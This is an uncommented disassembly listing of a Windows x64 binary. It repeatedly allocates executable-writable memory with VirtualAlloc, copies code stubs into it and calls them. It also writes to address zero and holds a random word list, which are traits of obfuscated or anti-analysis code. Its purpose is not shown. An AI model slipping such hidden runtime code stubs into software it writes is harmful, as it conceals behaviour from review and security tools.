mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140015a16
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140015949
mov r8, r12
jmp 0x1400159ee
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140015960
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x67c30], rcx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ab0]
mov rcx, qword [rbx]
call r8
movaps xmm10, xmm0
lea rcx, [rbp + 0x2df0]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2e08]
call fcn.140004660
lea rbx, [rbp + 0x15798]
mov rdx, rbx
lea rcx, [rbp + 0x2e08]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
test rax, rax
je 0x140015a9a
lea rdx, [0x140021750]
cmp rax, rdx
je 0x140015a87
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x140015a71
jmp 0x140015a9a
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x140015b88
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140015ac3
mov r8, r12
jmp 0x140015b60
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140015ad2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6d450], rcx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x440]
mov rcx, qword [rdi]
call r8
movaps xmm9, xmm0
lea rcx, [rbp + 0x2e08]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x24f0]
call fcn.140004660
mov rdx, rbx
lea rcx, [rbp + 0x24f0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
lea rbx, [0x140021750]
test rax, rax
je 0x140015c09
nop dword [rax]
cmp rax, rbx
je 0x140015bf6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140015be0
jmp 0x140015c09
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140015cef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140015c32
mov r8, r12
jmp 0x140015cce
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140015c40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ab0]
mov rcx, qword [rsi]
call r8
movaps xmm8, xmm0
lea rcx, [rbp + 0x24f0]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2508]
call fcn.140004660
lea rsi, [rbp + 0x15798]
mov rdx, rsi
lea rcx, [rbp + 0x2508]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x140015d6c
cmp rax, rbx
je 0x140015d59
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140015d43
jmp 0x140015d6c
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140015e4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140015d95
mov r8, r12
jmp 0x140015e2e
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140015da0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1aa8]
mov rcx, qword [r14]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2508]
call fcn.140009fa0
mulsd xmm6, xmm8
addsd xmm6, xmm9
subsd xmm6, xmm10
lea rcx, [rbp + 0x2520]
call fcn.140009fa0
addsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
lea rdx, [0x140009f50]
lea rcx, [rbp + 0x10e8]
call fcn.140021e00
mov rbx, rax
mov dword [rbp + 0x8c], 3
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x19e8]
call fcn.140021f10
movsd qword [rbp + 0x448], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2538]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2538]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rdi, [0x140021830]
test rax, rax
je 0x140015f2d
cmp rax, rdi
je 0x140015f1a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x140015f04
jmp 0x140015f2d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x140016010
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140015f56
mov r9, r12
jmp 0x140015fef
mov rax, rdi
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140015f61
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rdi
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x8c]
lea rdx, [rbp + 0x448]
mov rcx, qword [rbx]
call r9
movaps xmm6, xmm0
lea rcx, [rbp + 0x2538]
call fcn.140009fa0
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
lea rdx, [0x140009f60]
lea rcx, [rbp + 0x10f0]
call fcn.140021df0
mov rbx, rax
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x19e8]
call fcn.140021f10
movsd qword [rbp + 0x450], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2550]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2550]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x14006a840]
lea rdi, [0x140021750]
test rcx, rcx
je 0x1400160d9
nop dword [rax + rax]
cmp rcx, rdi
je 0x1400160c6
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6a840]
test rcx, rcx
jne 0x1400160b0
jmp 0x1400160d9
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x1400161bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140016102
mov r8, r12
jmp 0x14001619e
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140016110
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rdi
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x450]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2550]
call fcn.140009fa0
mulsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x1598]
test al, 1
jne 0x14001620e
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001621d
call fcn.140007450
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1580], 0
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x1598]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x19e8]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0xcbc0]
test bl, 1
jne 0x1400162a5
lea rcx, [rbp + 0x1598]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
imul eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x1400162c5
movsd xmm6, qword [rsp + 0x68]
lea rcx, [rbp + 0x19e8]
call fcn.140021f10
addsd xmm0, xmm7
divsd xmm6, xmm0
movsd qword [rsp + 0x68], xmm6
inc ebx
cmp ebx, 5
jl 0x140016240
sub rdi, 1
jne 0x140016230
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x1598]
call fcn.140007450
mov ebx, eax
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x1598]
call fcn.140007450
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1580]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x17b8]
call fcn.1400047a0
sub r15, 1
jne 0x140015390
lea rcx, [rbp + 0x458]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1aa0]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
jne 0x140015380
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2ce0]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1878]
call fcn.140021e60
mov byte [0], 0
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x10f8]
call fcn.1400213f0
mov rbx, rax
mov r8d, dword [rbp + 0x1578]
mov eax, 0x91a2b3c5
imul r8d
add edx, r8d
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1c2
sub r8d, ecx
mov dword [rbp + 0x90], r8d
mov edx, 0x18
lea rcx, [rbp + 0x2568]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2568]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006b1a0]
lea r14, [0x140021950]
test rax, rax
je 0x14001642b
cmp rax, r14
je 0x140016418
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6b1a0]
test rax, rax
jne 0x140016402
jmp 0x14001642b
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x685a0]
test r8, r8
jne 0x14001650f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140016454
mov r8, r12
jmp 0x1400164ee
mov rax, r14
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140016460
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006be40]
mov qword [r13 + rax*8 + 0x6b1a0], r14
mov qword [r13 + rax*8 + 0x685a0], r8
inc rax
mov qword [0x14006be40], rax
lea rdx, [rbp + 0x90]
mov rcx, qword [rbx]
call r8
nop
lea rcx, [rbp + 0x2568]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x28b0]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x28b0]
call fcn.140009f70
nop
lea rcx, [rbp + 0x15d8]
call fcn.140001fd0
mov edx, eax
lea rcx, [rbp + 0xdf50]
call fcn.1400048e0
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x1590]
call fcn.1400048d0
movaps xmm2, xmm13
movaps xmm1, xmm14
lea rcx, [rbp + 0x1998]
call fcn.140021f00
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
mov edx, 0x18
lea rcx, [rbp + 0x1890]
call fcn.140004660
lea rcx, [rbp + 0x1890]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x460]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1890]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1b0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x460]
call fcn.1400086c0
lea rcx, [rbp + 0x468]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x1b8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x1890]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x468]
call fcn.1400086c0
lea rcx, [rbp + 0x470]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x1890]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1c0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x470]
call fcn.1400086c0
lea rcx, [rbp + 0x478]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1890]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x478]
call fcn.1400086c0
lea rcx, [rbp + 0x480]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1890]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1d0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x480]
call fcn.1400086c0
lea rcx, [rbp + 0x488]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x1890]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1d8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x488]
call fcn.1400086c0
lea rcx, [rbp + 0x2440]
call fcn.140009fc0
mov dword [rbp + 0x94], 0x64
lea rdx, [rbp + 0x94]
lea rcx, [rbp + 0x1100]
call fcn.1400220f0
mov r8, rax
lea rdx, [rbp + 0x2440]
lea rcx, [rbp + 0x1a30]
call fcn.140022100
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2d00]
call fcn.140005020
nop
lea rcx, [rbp + 0x4b8]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a30]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
je 0x1400177e7
lea rsi, [rbp + 0x15798]
mov r15d, 0x2710
nop word [rax + rax]
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1590]
call fcn.140007450
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1590]
call fcn.140007450
movsxd rbx, eax
lea rcx, [rbp + 0x1890]
call fcn.140021e20
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
movsxd rdx, edx
lea rcx, [rbp + 0x1890]
call fcn.140021400
mov rcx, rax
call fcn.140021e10
mov rdi, rax
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1590]
call fcn.140007450
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
mov edx, 0x18
lea rcx, [rbp + 0x2580]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2580]
call fcn.140009f70
nop
xor edx, edx
mov r8d, 0x19
lea rcx, [rbp + 0x24b0]
call fcn.1400048d0
lea rcx, [rbp + 0x2d00]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2d00]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001690f
nop dword [rax]
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x24b0]
call fcn.140007450
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x1400168f0
lea rcx, [rbp + 0x2580]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x17d0]
call fcn.140004660
lea rcx, [rbp - 0x78]
call fcn.1400048c0
mov r8, rax
mov edx, 0x64
lea rcx, [rbp + 0x17d0]
call fcn.140004800
nop
lea r8, [rbp + 0xdf50]
lea rdx, [rbp + 0x1590]
lea rcx, [rbp + 0x1160]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0x1108]
lea rcx, [rbp + 0x17d0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1110]
lea rcx, [rbp + 0x17d0]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0x1118]
lea rcx, [rbp + 0x17d0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1120]
lea rcx, [rbp + 0x17d0]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, 0x18
lea rcx, [rbp + 0x2598]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2598]
call fcn.140009f70
nop
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x24b8]
call fcn.1400048d0
lea r8, [rbp + 0xdf50]
lea rdx, [rbp + 0x24b8]
lea rcx, [rbp + 0x1180]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0x1128]
lea rcx, [rbp + 0x17d0]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x17d0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1138]
lea rcx, [rbp + 0x17d0]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1140]
call fcn.140021780
lea rdx, [rbp + 0x1148]
lea rcx, [rbp + 0x17d0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x17d0]
call fcn.140021420
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021810
nop
lea rcx, [rbp + 0x2598]
call fcn.140009fa0
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1998]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1998]
call fcn.140021f10
movsd qword [rbp + 0x1a90], xmm0
movsd qword [rbp + 0x1a98], xmm6
mov edx, 0x18
lea rcx, [rbp + 0x2628]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2628]
call fcn.140009f70
nop
lea rdx, [0x14002dcf0]
lea rcx, [rbp + 0xa18]
call fcn.1400213f0
mov r14, rax
lea rdx, [0x14002e260]
lea rcx, [rbp + 0xa20]
call fcn.1400213f0
mov rsi, rax
lea rdx, [0x14002e7e0]
lea rcx, [rbp + 0xa28]
call fcn.1400213f0
mov rdi, rax
lea rdx, [0x140009f30]
lea rcx, [rbp + 0xa30]
call fcn.140021430
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x25b0]
call fcn.140004660
